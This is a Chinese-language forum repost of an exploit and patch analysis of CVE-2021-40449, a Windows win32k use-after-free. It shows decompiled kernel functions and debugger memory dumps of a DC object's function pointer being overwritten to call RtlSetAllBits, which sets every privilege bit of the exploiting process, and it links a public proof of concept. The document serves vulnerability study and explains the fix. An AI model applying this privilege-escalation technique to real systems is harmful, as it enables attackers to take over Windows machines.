win32kbase!Win32AllocPool代码如下,最终是通过调用ExAllocatePoolWithTag申请堆,win32kbase!Win32AllocPool的a1参数为要申请的堆内存大小,调试过程中可以得知其要申请0xe20大小的堆,加上堆头,刚好接近刚释放的0xe3大小的堆空间大小。
__int64 __fastcall Win32AllocPool(__int64 a1, unsigned int a2){  unsigned int v2; // ebx  __int64 v3; // rdi  __int64 result; // rax  v2 = a2;  v3 = a1;  if ( (signed int)IsWin32AllocPoolImplSupported_0() < 0 )    result = 0i64;  else    result = Win32AllocPoolImpl_0(33i64, v3, v2);  return result;}


同时在Poc代码分析里面分析了DC对象函数指针和堆头之间的位置关系,所以通过构造传入CreatePalette的LOGPALETTE结构可以刚刚好覆盖原DC对象内的函数指针以及该函数指针要调用的参数,内存分布具体见https://github.com/CppXL/cve-2021-40449-poc/blob/master/main.cpp 里面的注释。



通过函数指针调用RtlSetAllBits函数并传入RtklBitMap型指针,其中RtlBitMap的buffer指向POC进程自身的权限位,如下图:
typedef struct _RTL_BITMAP {    ULONG  SizeOfBitMap;    ULONG *Buffer;} RTL_BITMAP, *PRTL_BITMAP;


0: kd> dq ffff885e80063000+0x750                        // 此处为RtlBitMap地址ffff885e`80063750  ffffb48d`a3839010 ffffffff`ffffffffffff885e`80063760  ffffffff`ffffffff ffffffff`ffffffffffff885e`80063770  ffffffff`ffffffff ffffffff`ffffffffffff885e`80063780  ffffffff`ffffffff ffffffff`ffffffffffff885e`80063790  ffffffff`ffffffff ffffffff`ffffffffffff885e`800637a0  ffffffff`ffffffff ffffffff`ffffffffffff885e`800637b0  ffffffff`ffffffff ffffffff`ffffffffffff885e`800637c0  ffffffff`ffffffff ffffffff`ffffffff0: kd> dq ffffb48d`a3839010                             // 此处存放了RtlBitMap结构,0x00-0x08为size,0x08-0x10为buffer指针,指向了自身的权限位ffffb48d`a3839010  00000000`00000080 ffffde8f`1fb2e9d0ffffb48d`a3839020  41414141`41414141 41414141`41414141ffffb48d`a3839030  00000000`00000000 00000000`00000000ffffb48d`a3839040  00000000`00000000 00000000`00000000ffffb48d`a3839050  00000000`00000000 00000000`00000000ffffb48d`a3839060  00000000`00000000 00000000`00000000ffffb48d`a3839070  00000000`00000000 00000000`00000000ffffb48d`a3839080  00000000`00000000 00000000`000000000: kd> dq ffffde8f`1fb2e9d0ffffde8f`1fb2e9d0  00000006`02880000 00000000`00800000ffffde8f`1fb2e9e0  00000000`00800000 00000000`00000000ffffde8f`1fb2e9f0  00000000`00000000 00000000`00000000ffffde8f`1fb2ea00  20010000`00000000 0000000f`00000001ffffde8f`1fb2ea10  000001e0`00000000 00000000`00001000ffffde8f`1fb2ea20  00000000`00000000 ffffde8f`1fb2ee18ffffde8f`1fb2ea30  00000000`00000000 ffffde8f`1f1007f0ffffde8f`1fb2ea40  ffffde8f`1f1007f0 ffffde8f`1f10080c
调用DC里面的函数指针之前,自身权限位为正常权限。


调用函数指针之后,可以看到权限位全部置为了1



补丁分析
漏洞利用分析里面分析过漏洞形成原因是因为在调用GreResetDCInternal函数时,使用DC对象指针的时候没有检查DC对象是否异常。而利用该漏洞是通过在调用回调函数时调用ResetDC实现的。
我们再次回顾一下漏洞函数,在调用hdcOpenDCW也就是在调用回调函数之前会通过DCO的构造函数从DC构造DCO对象,在基本概念中知道,内核对象每被引用一次则对象引用计数器值会加一。调用构造函数时,DC对象引用加一,正常情况下此时DC对象引用次数要为1。如果在回调函数中再次调用ResetDC,则会第二次调用GreResetDCInternal,再次调用DCO的构造函数,DC对象引用再次加一,此时引用次数为2。
所以判断DC对象异常可以通过判断DC对象的引用次数实现。
__int64 __usercall GreResetDCInternal@<rax>(HDC a1@<rcx>, __int64 a2@<rdx>, int *a3@<r8>){  __int64 v24; // [rsp+50h] [rbp-20h]  __int64 v25; // [rsp+60h] [rbp-10h]  DCOBJ:COBJ((DCOBJ *)&v25, a1);              // 利用构造函数从HDC创建DCOBJ对象  v8 = v25;        ··········  v10 = *(_QWORD *)(v8 + 48);                   // 赋值  *(_QWORD *)(v10 + 1736) = 0i64;  v24 = v11;        ·······  v9 = *(_QWORD *)(v25 + 512) != 0i64;  v12 = *(_DWORD *)(v25 + 120) > 0;        ·······      v13 = (HDC)hdcOpenDCW(&qword_1C0141EB0, v26, 0i64, 0i64, *(_QWORD *)(v10 + 2584));// 创建新的DC对象,返回对应的HDC句柄      if ( v13 )      {        *(_QWORD *)(v10 + 2584) = 0i64;        DCOBJ:COBJ((DCOBJ *)&v24, v13);        v14 = (_QWORD *)v24;        if ( v24 )        {          if ( v12 )            *(_DWORD *)(v24 + 120) = *(_DWORD *)(v24 + 116);          v14[308] = *(_QWORD *)(v25 + 2464);          *(_QWORD *)(v25 + 2464) = 0i64;          v14[309] = *(_QWORD *)(v25 + 2472);          *(_QWORD *)(v25 + 2472) = 0i64;          v15 = *(void (__fastcall **)(_QWORD, _QWORD))(v10 + 2768);          if ( v15 )            v15(*(_QWORD *)(v10 + 1824), *(_QWORD *)(v14[6] + 1824i64));// 调用函数指针指向的函数,传入参数为用户传入的HDC对应的DC对象内的值            ·······          HmgSwapLockedHandleContents(v3, 0i64, v6, 0i64, v23);// 交换旧的和新的HDC对象          GreReleaseHmgrSemaphore();            ······    bDeleteDCInternal(v6, 1i64, 0i64);  // 删除了hdcOpenDCW分配的HDC,但前面经过HmgSwapLockedHandleContents交换了句柄,实际删除的是旧的HDC            ······
在补丁中,增加了对DC对象引用次数进行判断的逻辑,如果在GreResetDCInternal函数中DC对象引用次数大于1则表明已经发生异常,进入异常逻辑抛出错误(因为按正常流程此处DC对象引用次数应为不应该大于1)。
__int64 __fastcall sub_1C014CB0C(__int64 a1, __int64 a2, int *a3){......  int *v30; // [rsp+30h] [rbp-1h] .....  v9 = (__int64)v30;  if ( !v30 )  {LABEL_6:    EngSetLastError(6i64);LABEL_7:    v13 = (__int64)v30;    goto LABEL_8;  }  if ( *((_WORD *)v30 + 6) > 1u )  {    if ( *(_DWORD *)&stru_1C032C3F8.Length > 5u && (unsigned __int8)sub_1C00B5068(&stru_1C032C3F8, 0x400000000000i64) )    {      v31 = &v25;      v30 = &v26;      v29 = &v28;      v28 = 0x1000000i64;      SysEntryGetDispatchTableValues(v10, (__int64)&unk_1C02F466B, v11, v12);    }    goto LABEL_6;  }参考链接:
https://www.secrss.com/articles/35266
https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ
https://bbs.pediy.com/thread-269930.htm

来源:先知
注:如有侵权请联系删除

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

从现在开始 不留余力地努力吧,
最差的结果 也不过是大器晚成。
喜欢此内容的人还喜欢
CVE-2021-45232分析(APISIX网关未授权访问)
leveryd
不看的原因
  • 内容质量低
  • 不看此公众号
域控相关漏洞
aFa攻防实验室
不看的原因
  • 内容质量低
  • 不看此公众号
CVE-2022-22947 Spring Cloud Gateway SpEL 表达式注入 RCE漏洞复现
网络运维渗透
不看的原因
  • 内容质量低
  • 不看此公众号
转存失败重新上传取消
微信扫一扫
关注该公众号
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 03:00 , Processed in 0.031876 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表